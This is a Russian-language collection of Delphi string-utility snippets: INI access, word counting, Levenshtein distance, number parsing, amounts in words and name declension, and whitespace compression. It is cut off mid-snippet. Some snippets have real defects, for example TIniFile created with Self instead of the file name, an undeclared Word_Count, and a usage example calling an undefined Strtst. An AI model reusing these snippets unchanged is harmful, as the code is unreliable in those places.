Как сохранить и получить строку из INI-файла.

Ниже показаны две функции, которые помещают и получают значение переменной (StringName) в ini-секции (IniSection) ini-файла (TheIniFile)}.

function IniGetStringValue(
  TheIniFile: string;
  IniSection: string;
  StringName: string;
  DefaultString: string): string;
var
  TheIni: TIniFile;
begin
  TheIni := TIniFile.Create(Self);
  try
    Result :=
      TheIni.ReadString(
      IniSection,
      StringName,
      DefaultString);
    if Result = '' then
      Result := DefaultString;
  finally
    TheIni.Free;
  end;
end;
function IniSetStringValue(
  TheIniFile: string;
  IniSection: string;
  StringName: string;
  StringValue: string): Boolean;
var
  TheIni: TIniFile;
begin
  TheIni := TIniFile.Create(Self);
  try
    try
      TheIni.WriteString(
        IniSection,
        StringName,
        StringValue);
      Result := True;
    except
      Result := False;
    end;
  finally
    TheIni.Free;
  end;
end;

Подсчитать количество слов в строке.

function Seps(As_Arg: Char): Boolean; 
begin 
  Seps := As_Arg in 
    [#0..#$1F, ' ', '.', ',', '?', ':', ';', '(', ')', '/', '\']; 
end; 
function WordCount(CText: string): Longint; 
var 
  Ix: Word; 
  Work_Count: Longint; 
begin 
  Work_Count := 0; 
  Ix         := 1; 
  while Ix <= Length(CText) do 
  begin 
    while (Ix <= Length(CText)) and (Seps(CText[Ix])) do 
      Inc(Ix); 
    if Ix <= Length(CText) then 
    begin 
      Inc(Work_Count); 
      while (Ix <= Length(CText)) and (not Seps(CText[Ix])) do 
        Inc(Ix); 
    end; 
  end; 
  Word_Count := Work_Count; 
end; 
{ 
  To count the number opf words in a TMemo Component, 
  call: WordCount(Memo1.Text) 
}

Разность между двумя строками - функция Левенштейна.

Автор: Wicked WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Расстояние (разность) между двумя строками. Функция Левенштейна
Зависимости: System
Автор:       Андрей aka wicked, wilk@ua.fm, ICQ:92356239, Тернополь
Copyright:   описание алгоритма взято с http://www.merriampark.com/ld.htm, реализация моя
Дата:        10 августа 2002 г.
***************************************************** }
const
  cuthalf = 100; // константа, ограничивающая макс. длину
  // обрабатываемых строк
var
  buf: array[0..((cuthalf * 2) - 1)] of integer; // рабочий буффер, заменяет
  // матрицу, представленную
  // в описании
function min3(a, b, c: integer): integer; // вспомогательная функция
begin
  Result := a;
  if b < Result then
    Result := b;
  if c < Result then
    Result := c;
end;
// реализация функции в принципе соответствует описанию с одной оговоркой:
// матрица из описания заменена статическим буффером, длина которого
// равна удвоенной максимальной длине строк
// это сделано для 1) экономии памяти и во избежание её перераспределений
// 2) повышения быстродействия (у меня функция работает
// в обработчике onfilterRecord)
// таким образом, в реализации половинами буффера представлены только
// две последние строки матрицы, которые меняются местами каждую
// итерацию внешнего цикла (по i)... для определения того, какая из половин
// буффера является "нижней строкой", служит переменная flip
// т. е. при flip = false первая половина буффера является предпоследней
// строкой, а вторая - последней; при flip = true наоборот,
// первая половина - последняя строка, вторая половина - предпоследняя
function LeveDist(s, t: string): integer;
var
  i, j, m, n: integer;
  cost: integer;
  flip: boolean;
begin
  s := copy(s, 1, cuthalf - 1);
  t := copy(t, 1, cuthalf - 1);
  m := length(s);
  n := length(t);
  if m = 0 then
    Result := n
  else if n = 0 then
    Result := m
  else
  begin
    flip := false;
    for i := 0 to n do
      buf[i] := i;
    for i := 1 to m do
    begin
      if flip then
        buf[0] := i
      else
        buf[cuthalf] := i;
      for j := 1 to n do
      begin
        if s[i] = t[j] then
          cost := 0
        else
          cost := 1;
        if flip then
          buf[j] := min3((buf[cuthalf + j] + 1),
            (buf[j - 1] + 1),
            (buf[cuthalf + j - 1] + cost))
        else
          buf[cuthalf + j] := min3((buf[j] + 1),
            (buf[cuthalf + j - 1] + 1),
            (buf[j - 1] + cost));
      end;
      flip := not flip;
    end;
    if flip then
      Result := buf[cuthalf + n]
    else
      Result := buf[n];
  end;
end;

Пример использования:

// на форме имеются поля Edit1 и Edit2, метка Label1
...
Label1.Caption := IntToStr(LeveDist(Edit1.Text, Edit2.Text));
...

Преобразование сроки в число.

Автор: Separator WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Преобразование сроки в число
Преобразует строку в число, при этом удаля из строки все лишние символы
Зависимости: нет
Автор:       Separator, vilgelm@mail.kz, ICQ:162770303, Алматы
Copyright:   Separator
Дата:        7 мая 2003 г.
***************************************************** }
function StringToNumber(const Value: string): string;
var
  ResStr: string;
  i, j, L: integer;
  Ch: char;
  E, DS: boolean;
begin
  Result := '0';
  L := Length(Value);
  if L <> 0 then
  begin
    SetLength(ResStr, L);
    E := false;
    DS := false;
    j := 0;
    for i := 1 to L do
    begin
      Ch := Value[i];
      case Ch of
        '0'..'9':
          begin
            Inc(j);
            ResStr[j] := Ch
          end; //'0'..'9': begin
        '.', ',': if (not DS) and (not E) and (i <> L) then
          begin
            DS := true;
            Ch := DecimalSeparator;
            if j = 0 then
            begin
              Inc(j);
              ResStr[j] := '0';
            end; //if j = 0 then begin
            Inc(j);
            ResStr[j] := Ch
          end; //'.', ',': if (not DS) and (i <> L) then begin
        'e', 'E': if (not E) and (i <> L) then
          begin
            E := true;
            Ch := 'E';
            if j = 0 then
            begin
              Inc(j);
              ResStr[j] := '0';
            end; //if j = 0 then begin
            Inc(j);
            ResStr[j] := Ch
          end //'.', ',': if (not DS) and (i <> L) then begin
      end //case Ch of
    end; //for i:= 1 to L do begin
    if j <> 0 then
    begin
      if ResStr[j] = 'E' then
        Dec(j);
      if ResStr[j] = DecimalSeparator then
        Dec(j);
      SetLength(ResStr, j);
      Result := ResStr
    end //if j <> 0 then begin
  end //if L <> 0 then begin
end;

Пример использования:

Edit1.Text = ',...,fgftgtr656,.567erdf..5,,632'
Edit2.Text := StringToNumber(Edit1.Text);
Edit2.Text = 0, 656567E5632

StrToInt и IntToStr вне модуля SysUtils.

Автор: LENIN INC WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> StrToInt и IntToStr вне модуля SysUtils...
Две популярные функции преобразования.
Зависимости: Windows
Автор:       LENIN INC, fuck2all@ukr.net, Kiev
Copyright:   LENIN INC, http://lenininc.narod.ru
Дата:        22 февраля 2003 г.
***************************************************** }
function InStr(I: Integer): string;
var
  S: string;
begin
  Str(I, S);
  InStr := S;
end;
function InInt(S: string): Integer;
var
  I, Code: Integer;
begin
  Val(S, I, Code);
  InInt := I;
end;

Паскалевский эквивалент StrTok.

Автор: Mike Scott

function NextToken( P : PChar ; Divider : PChar ) : PChar ;
const
  next : PChar = nil ;
begin
  if P = nil then
    P := next ;
  if P <> nil then
  begin
    next := StrPos( P, Divider ) ;
    if next <> nil then
    begin
      next^ := #0 ;
      next := @next[ StrLen( Divider ) ] ;
    end ;
  end ;
  NextToken := P ;
end ;

StrTok для Delphi2.

Автор: Ralph Friedman Я передалал это для работы в Delphi 2.0, код приведен ниже (эта функция первоначально была написана John Cooper 76356,3601 и модифицирована мной для адаптации под Delphi 2.0).

...вот этот код:

function StrTok(Phrase: Pchar; Delimeter: PChar): Pchar;
const
  tokenPtr: PChar = nil;
  workPtr: PChar = nil;
var
  delimPtr: Pchar;
begin
  if (Phrase <> nil) then
    workPtr := Phrase
  else
    workPtr := tokenPtr;
  if workPtr = nil then
  begin
    Result := nil;
    Exit;
  end;
  delimPtr := StrPos(workPtr, Delimeter);
  if (delimPtr <> nil) then
  begin
    delimPtr^ := Chr(0);
    tokenPtr := delimPtr + 1
  end
  else
    tokenPtr := nil;
  Result := workPtr;
end;

Сумма и количество прописью, работа с падежами.

Автор: Eda WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Сумма и количество прописью, работа с падежами
Несколько функций для работы с строками:
function SumToString(Value : String) : string;//Сумма прописью
function KolToStrin(Value : String) : string;//Количество прописью
function padeg(s:string):string;//Склоняет фамилию имя и отчество (кому)
function padegot(s:string):string;//Склоняет фамилию имя и отчество (от кого)
function fio(s:string):string;//фамилия имя и отчество сокращенно
function longdate(s:string):string;//Длинная дата
procedure getfullfio(s:string;var fnam,lnam,onam:string);
//Получить из строки фамилию имя и отчество сокращенно
Зависимости: uses SysUtils, StrUtils,Classes;
Автор:       Eda, eda@arhadm.net.ru, Архангельск
Copyright:   Eda
Дата:        13 июня 2003 г.
***************************************************** }
unit sumstr;
interface
uses
  SysUtils, StrUtils, Classes;
var
  rub: byte;
function SumToString(Value: string): string; //Сумма прописью
function KolToStrin(Value: string): string; //Количество прописью
function padeg(s: string): string; //Склоняет фамилию имя и отчество (кому)
function padegot(s: string): string; //Склоняет фамилию имя и отчество (от кого)
function fio(s: string): string; //фамилия имя и отчество сокращенно
function longdate(s: string): string; //Длинная дата
procedure getfullfio(s: string; var fnam, lnam, onam: string);
  //Получить из строки фамилию имя и отчество сокращенно
implementation
const
  a: array[0..8, 0..9] of string = (
    ('', 'один ', 'два ', 'три ', 'четыре ', 'пять ', 'шесть ', 'семь ',
      'восемь ', 'девять '),
    ('', '', 'двадцать ', 'тридцать ', 'сорок ', 'пятьдесят ', 'шестьдесят ',
      'семьдесят ', 'восемьдесят ', 'девяносто '),
    ('', 'сто ', 'двести ', 'триста ', 'четыреста ', 'пятьсот ', 'шестьсот ',
      'семьсот ', 'восемьсот ', 'девятьсот '),
    ('тысяч ', 'одна тысяча ', 'две тысячи ', 'три тысячи ', 'четыре тысячи ',
      'пять тысяч ', 'шесть тысяч ', 'семь тысяч ', 'восемь тысяч ',
      'девять тысяч '),
    ('', '', 'двадцать ', 'тридцать ', 'сорок ', 'пятьдесят ', 'шестьдесят ',
      'семьдесят ', 'восемьдесят ', 'девяносто '),
    ('', 'сто ', 'двести ', 'триста ', 'четыреста ', 'пятьсот ', 'шестьсот ',
      'семьсот ', 'восемьсот ', 'девятьсот '),
    ('миллионов ', 'один миллион ', 'два миллиона ', 'три миллиона ',
      'четыре миллиона ', 'пять миллионов ', 'шесть миллионов ', 'семь миллионов ',
      'восемь миллионов ', 'девять миллионов '),
    ('', '', 'двадцать ', 'тридцать ', 'сорок ', 'пятьдесят ', 'шестьдесят ',
      'семьдесят ', 'восемьдесят ', 'девяносто '),
    ('', 'сто ', 'двести ', 'триста ', 'четыреста ', 'пятьсот ', 'шестьсот ',
      'семьсот ', 'восемьсот ', 'девятьсот '));
  c: array[0..8, 0..9] of string = (
    ('', 'одна ', 'две ', 'три ', 'четыре ', 'пять ', 'шесть ', 'семь ',
      'восемь ', 'девять '),
    ('', '', 'двадцать ', 'тридцать ', 'сорок ', 'пятьдесят ', 'шестьдесят ',
      'семьдесят ', 'восемьдесят ', 'девяносто '),
    ('', 'сто ', 'двести ', 'триста ', 'четыреста ', 'пятьсот ', 'шестьсот ',
      'семьсот ', 'восемьсот ', 'девятьсот '),
    ('тысячь ', 'одна тысяча ', 'две тысячи ', 'три тысячи ', 'четыре тысячи ',
      'пять тысяч ', 'шесть тысяч ', 'семь тысяч ', 'восемь тысяч ',
      'девять тысяч '),
    ('', '', 'двадцать ', 'тридцать ', 'сорок ', 'пятьдесят ', 'шестьдесят ',
      'семьдесят ', 'восемьдесят ', 'девяносто '),
    ('', 'сто ', 'двести ', 'триста ', 'четыреста ', 'пятьсот ', 'шестьсот ',
      'семьсот ', 'восемьсот ', 'девятьсот '),
    ('миллионов ', 'один миллион ', 'два миллиона ', 'три миллиона ',
      'четыре миллиона ', 'пять миллионов ', 'шесть миллионов ', 'семь миллионов ',
      'восемь миллионов ', 'девять миллионов '),
    ('', '', 'двадцать ', 'тридцать ', 'сорок ', 'пятьдесят ', 'шестьдесят ',
      'семьдесят ', 'восемьдесят ', 'девяносто '),
    ('', 'сто ', 'двести ', 'триста ', 'четыреста ', 'пятьсот ', 'шестьсот ',
      'семьсот ', 'восемьсот ', 'девятьсот '));
  b: array[0..9] of string =
  ('десять ', 'одинадцать ', 'двенадцать ', 'тринадцать ', 'четырнадцать ',
    'пятнадцать ', 'шестнадцать ', 'семнадцать ', 'восемнадцать ',
    'девятнадцать ');
var
  pol: boolean;
function longdate(s: string): string; //Длинная дата
var
  Pr: TDateTime;
  Y, M, D: Word;
begin
  Pr := strtodate(s);
  DecodeDate(Pr, Y, M, D);
  case m of
    1: s := 'Января';
    2: s := 'Февраля';
    3: s := 'Марта';
    4: s := 'Апреля';
    5: s := 'Мая';
    6: s := 'Июня';
    7: s := 'Июля';
    8: s := 'Августа';
    9: s := 'Сентября';
    10: s := 'Октября';
    11: s := 'Ноября';
    12: s := 'Декабря';
  end;
  result := inttostr(d) + ' ' + s + ' ' + inttostr(y)
end;
function SumToStrin(Value: string): string;
var
  s, t: string;
  p, pp, i, k: integer;
begin
  s := value;
  if s = '0' then
    t := 'Ноль '
  else
  begin
    p := length(s);
    pp := p;
    if p > 1 then
      if (s[p - 1] = '1') and (s[p] >= '0') then
      begin
        t := b[strtoint(s[p])];
        pp := pp - 2;
      end;
    i := pp;
    while i > 0 do
    begin
      if (i = p - 3) and (p > 4) then
        if s[p - 4] = '1' then
        begin
          t := b[strtoint(s[p - 3])] + 'тысяч ' + t;
          i := i - 2;
        end;
      if (i = p - 6) and (p > 7) then
        if s[p - 7] = '1' then
        begin
          t := b[strtoint(s[p - 6])] + 'миллионов ' + t;
          i := i - 2;
        end;
      if i > 0 then
      begin
        k := strtoint(s[i]);
        t := a[p - i, k] + t;
        i := i - 1;
      end;
    end;
  end;
  result := t;
end;
function kolToStrin(Value: string): string;
var
  s, t: string;
  p, pp, i, k: integer;
begin
  s := value;
  if s = '0' then
    t := 'Ноль '
  else
  begin
    p := length(s);
    pp := p;
    if p > 1 then
      if (s[p - 1] = '1') and (s[p] > '0') then
      begin
        t := b[strtoint(s[p])];
        pp := pp - 2;
      end;
    i := pp;
    while i > 0 do
    begin
      if (i = p - 3) and (p > 4) then
        if s[p - 4] = '1' then
        begin
          t := b[strtoint(s[p - 3])] + 'тысяча ' + t;
          i := i - 2;
        end;
      if (i = p - 6) and (p > 7) then
        if s[p - 7] = '1' then
        begin
          t := b[strtoint(s[p - 6])] + 'миллионов ' + t;
          i := i - 2;
        end;
      if i > 0 then
      begin
        k := strtoint(s[i]);
        t := c[p - i, k] + t;
        i := i - 1;
      end;
    end;
  end;
  result := t;
end;
procedure get2str(value: string; var hi, lo: string);
var
  p: integer;
begin
  p := pos(',', value);
  lo := '';
  hi := '';
  if p = 0 then
    p := pos('.', value);
  if p <> 0 then
    delete(value, p, 1);
  if p = 0 then
  begin
    hi := value;
    lo := '00';
    exit;
  end;
  if p > length(value) then
  begin
    hi := value;
    lo := '00';
    exit;
  end;
  if p = 1 then
  begin
    hi := '0';
    lo := value;
    exit;
  end;
  begin
    hi := copy(value, 1, p - 1);
    lo := copy(value, p, length(value));
    if length(lo) < 2 then
      lo := lo + '0';
  end;
end;
function sumtostring(value: string): string;
var
  hi, lo, valut, loval: string;
  pr, er: integer;
begin
  get2str(value, hi, lo);
  if (hi = '') or (lo = '') then
  begin
    result := '';
    exit;
  end;
  val(hi, pr, er);
  if er <> 0 then
  begin
    result := '';
    exit;
  end;
  if rub = 0 then
  begin
    if hi[length(hi)] = '1' then
      valut := 'рубль ';
    if (hi[length(hi)] >= '2') and (hi[length(hi)] <= '4') then
      valut := 'рубля ';
    if (hi[length(hi)] = '0') or (hi[length(hi)] >= '5') or
    ((strtoint(copy(hi, length(hi) - 1, 2)) > 10) and (strtoint(copy(hi,
      length(hi) - 1, 2)) < 15)) then
      valut := 'рублей ';
    if (lo[length(lo)] = '0') or (lo[length(lo)] >= '5') then
      loval := ' копеек';
    if lo[length(lo)] = '1' then
      loval := ' копейка';
    if (lo[length(lo)] >= '2') and (lo[length(lo)] <= '4') then
      loval := ' копейки';
  end
  else
  begin
    if (hi[length(hi)] = '0') or (hi[length(hi)] >= '5') then
      valut := 'долларов ';
    if hi[length(hi)] = '1' then
      valut := 'доллар ';
    if (hi[length(hi)] >= '2') and (hi[length(hi)] <= '4') then
      valut := 'доллара ';
    if (lo[length(lo)] = '0') or (lo[length(lo)] >= '5') then
      loval := ' центов';
    if lo[length(lo)] = '1' then
      loval := ' цент';
    if (lo[length(lo)] >= '2') and (lo[length(lo)] <= '4') then
      loval := ' цента';
  end;
  hi := sumtostrin(inttostr(pr)) + valut;
  if lo <> '00' then
  begin
    val(lo, pr, er);
    if er <> 0 then
    begin
      result := '';
      exit;
    end;
    lo := inttostr(pr);
  end;
  if length(lo) < 2 then
    lo := '0' + lo;
  lo := lo + loval;
  hi[1] := AnsiUpperCase(hi[1])[1];
  result := hi + lo;
end;
function pfam(s: string): string;
begin
  if (s[length(s)] = 'к') or (s[length(s)] = 'ч') and (pol = true) then
    s := s + 'у';
  if s[length(s)] = 'в' then
    s := s + 'у';
  if s[length(s)] = 'а' then
  begin
    delete(s, length(s), 1);
    result := s + 'ой';
    exit;
  end;
  if s[length(s)] = 'н' then
    s := s + 'у';
  if s[length(s)] = 'й' then
  begin
    delete(s, length(s) - 1, 2);
    result := s + 'ому';
  end;
  if s[length(s)] = 'я' then
  begin
    delete(s, length(s) - 1, 2);
    result := s + 'ой';
    exit;
  end;
  result := s;
end;
function pnam(s: string): string;
begin
  pol := true;
  if s[length(s)] = 'й' then
  begin
    delete(s, length(s), 1);
    s := s + 'ю';
  end;
  if s[length(s)] = 'л' then
    s := s + 'у';
  if s[length(s)] = 'р' then
    s := s + 'у';
  if s[length(s)] = 'м' then
    s := s + 'у';
  if s[length(s)] = 'н' then
    s := s + 'у';
  if s[length(s)] = 'я' then
  begin
    pol := false;
    delete(s, length(s), 1);
    s := s + 'е';
  end;
  if s[length(s)] = 'а' then
  begin
    pol := false;
    delete(s, length(s), 1);
    s := s + 'е';
  end;
  result := s;
end;
function potch(s: string): string;
begin
  if s[length(s)] = 'а' then
  begin
    delete(s, length(s), 1);
    s := s + 'е';
  end;
  if s[length(s)] = 'ч' then
    s := s + 'у';
  result := s;
end;
function ofam(s: string): string;
begin
  if (s[length(s)] = 'к') or (s[length(s)] = 'ч') and (pol = true) then
    s := s + 'а';
  if s[length(s)] = 'а' then
  begin
    delete(s, length(s), 1);
    result := s + 'ой';
    exit;
  end;
  if s[length(s)] = 'в' then
    s := s + 'а';
  if s[length(s)] = 'н' then
    s := s + 'а';
  if s[length(s)] = 'й' then
  begin
    delete(s, length(s) - 1, 2);
    result := s + 'ова';
  end;
  if s[length(s)] = 'я' then
  begin
    delete(s, length(s) - 1, 2);
    result := s + 'ой';
    exit;
  end;
  result := s;
end;
function onam(s: string): string;
begin
  pol := true;
  if s[length(s)] = 'а' then
    if s[length(s) - 1] = 'г' then
    begin
      pol := false;
      delete(s, length(s), 1);
      s := s + 'и';
    end
    else
    begin
      pol := false;
      delete(s, length(s), 1);
      s := s + 'ы';
    end;
  if s[length(s)] = 'л' then
    s := s + 'а';
  if s[length(s)] = 'р' then
    s := s + 'а';
  if s[length(s)] = 'м' then
    s := s + 'а';
  if s[length(s)] = 'н' then
    s := s + 'а';
  if s[length(s)] = 'я' then
  begin
    pol := false;
    delete(s, length(s), 1);
    s := s + 'и';
  end;
  if s[length(s)] = 'й' then
  begin
    delete(s, length(s), 1);
    s := s + 'я';
  end;
  result := s;
end;
function ootch(s: string): string;
begin
  if s[length(s)] = 'а' then
  begin
    delete(s, length(s), 1);
    s := s + 'ы';
  end;
  if s[length(s)] = 'ч' then
    s := s + 'а';
  result := s;
end;
function padeg(s: string): string;
var
  q: tstringlist;
  p: integer;
begin
  if s <> '' then
  begin
    q := tstringlist.Create;
    p := pos(' ', s);
    if p = 0 then
      p := pos('.', s);
    if p = 0 then
      q.Add(s)
    else
    begin
      q.Add(copy(s, 1, p - 1));
      delete(s, 1, p);
      p := pos(' ', s);
      if p = 0 then
        p := pos('.', s);
      if p = 0 then
        q.Add(s)
      else
      begin
        q.Add(copy(s, 1, p - 1));
        delete(s, 1, p);
        p := pos(' ', s);
        if p = 0 then
          p := pos('.', s);
        if p = 0 then
          q.Add(s)
        else
        begin
          q.Add(copy(s, 1, p - 1));
          delete(s, 1, p);
        end;
      end;
    end;
    if q.Count > 1 then
      result := result + ' ' + pnam(q[1]);
    if q.Count > 0 then
      result := pfam(q[0]) + result;
    if q.Count > 2 then
      result := result + ' ' + potch(q[2]);
    q.Free;
  end;
end;
function fio(s: string): string;
var
  q: tstringlist;
  p: integer;
begin
  if s <> '' then
  begin
    q := tstringlist.Create;
    p := pos(' ', s);
    if p = 0 then
      p := pos('.', s);
    if p = 0 then
      q.Add(s)
    else
    begin
      q.Add(copy(s, 1, p - 1));
      delete(s, 1, p);
      p := pos(' ', s);
      if p = 0 then
        p := pos('.', s);
      if p = 0 then
        q.Add(s)
      else
      begin
        q.Add(copy(s, 1, 1));
        delete(s, 1, p);
        p := pos(' ', s);
        if p = 0 then
          p := pos('.', s);
        if p = 0 then
          q.Add(copy(s, 1, 1))
        else
        begin
          q.Add(copy(s, 1, 1));
        end;
      end;
    end;
    if q.Count > 1 then
      result := q[0] + ' ' + q[1] + '.';
    if q.Count > 2 then
      result := result + q[2] + '.';
    q.Free;
  end;
end;
function padegot(s: string): string;
var
  q: tstringlist;
  p: integer;
begin
  if s <> '' then
  begin
    q := tstringlist.Create;
    p := pos(' ', s);
    if p = 0 then
      p := pos('.', s);
    if p = 0 then
      q.Add(s)
    else
    begin
      q.Add(copy(s, 1, p - 1));
      delete(s, 1, p);
      p := pos(' ', s);
      if p = 0 then
        p := pos('.', s);
      if p = 0 then
        q.Add(s)
      else
      begin
        q.Add(copy(s, 1, p - 1));
        delete(s, 1, p);
        p := pos(' ', s);
        if p = 0 then
          p := pos('.', s);
        if p = 0 then
          q.Add(s)
        else
        begin
          q.Add(copy(s, 1, p - 1));
          delete(s, 1, p);
        end;
      end;
    end;
    if q.Count > 1 then
      result := result + ' ' + onam(q[1]);
    if q.Count > 0 then
      result := ofam(q[0]) + result;
    if q.Count > 2 then
      result := result + ' ' + ootch(q[2]);
    q.Free;
  end;
end;
procedure getfullfio(s: string; var fnam, lnam, onam: string);
  //Получить из строки фамилию имя и отчество сокращенно
begin
  fnam := '';
  lnam := '';
  onam := '';
  fnam := copy(s, 1, pos(' ', s));
  delete(s, 1, pos(' ', s));
  lnam := copy(s, 1, pos(' ', s));
  delete(s, 1, pos(' ', s));
  onam := s;
end;
begin
  rub := 0;
end.

Пример использования:

s := SumToString('123.00');

Case для строковых значений без учета регистра.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  Funktioniert unabhangig von der Klein-/Gro?scheibung in dem Input-String: 
  Versuchen Sie es z.B. mit "Mother" oder "mOTHER"... 
  Damit kann man seine eigene Makrosprache entwickeln oder bestimmte 
  Teile eines Strings aus einem SQL statement, aus einer wohlgeformten Datei 
  wie im XML-Format...interpretieren. 
}
 { 
  It works fine and it's not case sensitive: 
  Try to give "Mother" or "mOTHER" in the Input-String... 
  For exemple, you may use this to programm your own macro command system. 
  You can also parse a well formed text file (XML...) 
  Or to interpret a Database Field name as a selector, or whatelse you want. 
}
 uses
   TypInfo;
 type
   TNumericChoiceParent = (ncp_Mother, ncp_Father, ncp_Child);
 procedure TForm1.btChooseClick(Sender: TObject);
 var
   S: string;
 begin
   S := InputEdit.Text;
   case TNumericChoiceParent(GetEnumValue(TypeInfo(TNumericChoiceParent), 'ncp_' + S)) of
     ncp_Mother: ShowMessage('Hello Mom :o)');
     ncp_Father: ShowMessage('Hi, Dad -]');
     ncp_Child: ShowMessage('Shut up and eat your soup !-(');
   else
     ShowMessage('Who do you think that you are?');
   end;
 end;

Проверка значения строки.

Автор: Separator WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Проверка значения строки
Функция предназначена дла проверки значения строки.
Зависимости: нет
Автор:       Separator, vilgelm@mail.kz, Алматы
Copyright:   Сергей Вильгельм
Дата:        6 января 2003 г.
***************************************************** }
type
  TTypeStr = (tsString, tsDate, tsNumber);
function CheckString(const Value: string): TTypeStr;
begin
  if StrToDateTimeDef(Value, 0) = 0 then
    if StrToIntDef(Value, 0) = 0 then
      Result := tsString
    else
      Result := tsNumber
  else
    Result := tsDate
end;

Быстрые функции сжатия пробелов и управляющих символов в строке.

Автор: Александр Шарахов WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Быстрые функции сжатия пробелов и управляющих символов в строке.
Функции удаляют из строки начальные и конечные пробелы и управляющие
символы (меньшие пробела). Идущие подряд пробелы и управляющие символы
в середине строки заменяются одним пробелом.
Зависимости: нет
Автор:       Александр Шарахов, alsha@mailru.com, Москва
Copyright:   Александр Шарахов
Дата:        2 февраля 2003 г.
***************************************************** }
// Sha_SpaceCompress удаляет из Ansi-строки начальные и конечные пробелы
// и управляющие символы (меньшие пробела). Идущие подряд пробелы
// и управляющие символы в середине строки заменяются одним пробелом.
// Исходная строка при этом не изменяется. Эта функция работает
// медленнее, чем Sha_SpaceCompressInplace. С целью ускорения работы
// освобождение неиспользуемой памяти за пределами строки не производится.
// Если это критично, после вызова данной функции можно освободить память
// следующим образом: s2:=Sha_SpaceCompress(s1); SetLength(s2,Length(s2));
// Функция не работает, если нарушен формат Ansi-строки, в частности,
// если в конце строки отсутствует терминатор.
function Sha_SpaceCompress(const s: string): string;
var
  p, q, t: pchar;
  ch: char;
label
  rt;
begin
  ;
  p := pointer(s);
  q := nil;
  if p <> nil then
  begin
    ;
    t := p + (pinteger(p - 4))^;
    if p < t then
    begin
      ;
      repeat;
        dec(t);
        if p > t then
          goto rt;
      until (t^ > ' ');
      SetString(Result, nil, (t - p) + 1);
      q := pchar(pointer(Result));
      repeat;
        repeat;
          ch := p^;
          inc(p);
        until ch > ' ';
        repeat;
          q^ := ch;
          ch := p^;
          inc(q);
          inc(p);
        until ch <= ' ';
        q^ := ' ';
        inc(q);
      until p > t;
    end;
  end;
  rt:
  if q <> nil then
  begin
    ;
    dec(q);
    q^ := #0;
    (pinteger(pchar(pointer(Result)) - 4))^ := q - pointer(Result);
  end
  else
    Result := '';
end;
// Sha_SpaceCompressInplace удаляет из Ansi-строки начальные и конечные пробелы
// и управляющие символы (меньшие пробела). Идущие подряд пробелы
// и управляющие символы в середине строки заменяются одним пробелом.
// Результат замещает исходную строку. С целью ускорения работы
// освобождение неиспользуемой памяти за пределами строки не производится.
// Если это критично, после вызова данной функции можно освободить память
// следующим образом: Sha_SpaceCompressInpace(s); SetLength(s,Length(s));
// Процедура не работает, если нарушен формат Ansi-строки, в частности,
// если в конце строки отсутствует терминатор.
procedure Sha_SpaceCompressInplace(var s: string);
var
  p, q, t: pchar;
  ch: char;
label
  rt;
begin
  ;
  UniqueString(s);
  p := pointer(s);
  if p <> nil then
  begin
    ;
    t := p + (pinteger(p - 4))^;
    if p < t then
    begin
      ;
      q := p;
      repeat;
        dec(t);
        if p > t then
          goto rt;
      until (t^ > ' ');
      repeat;
        repeat;
          ch := p^;
          inc(p);
        until ch > ' ';
        repeat;
          q^ := ch;
          ch := p^;
          inc(q);
          inc(p);
        until ch <= ' ';
        q^ := ' ';
        inc(q);
      until p > t;
      dec(q);
      rt: q^ := #0;
      (pinteger(pchar(pointer(s)) - 4))^ := q - pointer(s);
    end;
  end;
end;
// Sha_SpaceCompressPChar удаляет из null-terminated строки начальные
// и конечные пробелы и управляющие символы (меньшие пробела), за исключением
// терминатора. Идущие подряд пробелы и управляющие символы в середине строки
// заменяются одним пробелом. Результат замещает исходную строку.
// Никакое перераспределения памяти не производится.
// Функция не работает с read-only строкой.
function Sha_SpaceCompressPChar(p: pchar): pchar;
var
  q: pchar;
  ch: char;
label
  rt;
begin
  ;
  Result := p;
  if (p <> nil) and (p^ <> #0) then
  begin
    ;
    q := p - 1;
    repeat;
      repeat;
        ch := p^;
        inc(p);
        if ch = #0 then
          goto rt;
      until ch > ' ';
      inc(q);
      repeat;
        q^ := ch;
        ch := p^;
        inc(q);
        inc(p);
      until ch <= ' ';
      q^ := ' ';
    until ch = #0;
    rt: if q < Result then
      inc(q);
    q^ := #0;
  end;
end;

Пример использования:

s2 := Sha_SpaceCompress(s1);
Sha_SpaceCompressInpace(s);
Sha_SpaceCompressPChar(pch); 

Функция проверки корректности ввода.

Автор: DiVo WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Функция проверки корректности ввода
Результат истина в случае если во входной строке нет недопустимых
символов
Rej - флаг режима
если Rej:=true, то Conf - строка недопустимых символов
если Rej:=false, то Conf - строка допустимых символов
Input - входная строка
Зависимости: Стандартные модули
Автор:       Ru, DiVo_Ru@rambler.ru, Одесса
Copyright:   DiVo 2002, creator Ru
Дата:        28 декабря 2002 г.
***************************************************** }
function ConformStr(Input, Conf: string; Rej: boolean): boolean;
var
  i: integer;
begin
  result := true;
  if Rej then
  begin
    for i := 1 to length(Conf) do
    begin
      if pos(Conf[i], Input) <> 0 then
      begin
        result := false;
        break;
      end
    end;
  end
  else
  begin
    for i := 1 to length(Input) do
    begin
      if pos(Input[i], Conf) = 0 then
      begin
        result := false;
        break;
      end;
    end;
  end;
end;

Пример использования:

s := 'Приве6т!';
if not ConformStr(s, '0123456789') then
  s := Strtst(s, '0123456789');
//после этого s='Привет!'

Удаление лишних пробелов в строке.

Автор: Артем WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> удаление лишних пробелов в строке
удаляет из строки лишние пробелы без использования всяких указателей и т.д.
Зависимости: стандартные модули
Автор:       Артем, boss1999@mail.ru, москва
Copyright:   собственное описание (Артем)
Дата:        24 сентября 2003 г.
***************************************************** }
{процедура удаления лишних пробелов в строке (см. function Sha_SpaceCompress)}
var
  c, i: integer;
  stt, st, st1: string;
begin
  c := 0;
  st := edit1.Text;
  for i := 1 to Length(st) do
  begin
    stt := copy(st, i, 1);
